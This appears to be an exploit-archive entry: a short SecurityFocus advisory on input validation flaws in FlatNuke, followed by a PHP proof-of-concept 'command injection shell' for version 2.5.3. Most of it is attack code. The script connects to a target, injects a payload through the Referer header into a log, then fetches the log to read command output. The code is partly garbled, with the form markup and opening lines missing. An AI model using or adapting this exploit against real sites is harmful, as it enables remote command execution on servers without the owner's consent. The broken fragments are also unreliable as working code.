source: https://www.securityfocus.com/bid/13882/info Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts. An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible. FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC

FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC


Host+Path: (e.g http://site.com/path/to/flatnuke/ - note only path to flatnuke root directory)
Directory:
&e{$_SESSION['rand']}$int"; /* ensure all required vars are present */ if (isset($_POST['URL']) && $host != "" && $cmd != "") { /* connect to target */ if (!$fp = fsockopen($host, $port, $errno, $errstr)) { echo "Cound not connect to $host ($errstr - $errno)
\n"; } else { /* make HTTP request */ fputs($fp, "GET $path.$quer HTTP/1.1\r\n"); fputs($fp, "Host: $host\r\n"); fputs($fp, "Referer: $referer\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fclose($fp); usleep(150000); /* retrieve command output */ if ($result = file_get_contents("http://$host:$port$reflog")) { /* strip other irrelevant referer information */ $trim = str_replace("http://noneexistantsite.com/?s{$_SESSION['rand']}$int=", "", stristr($result, "http://noneexistantsite.com/?s{$_SESSION['rand']}$int=")); $trim = str_replace(stristr($trim, "&e{$_SESSION['rand']}$int"), "", $trim); /* display trimmed command output */ $_SESSION['output'] .= htmlspecialchars($trim); } } } ?>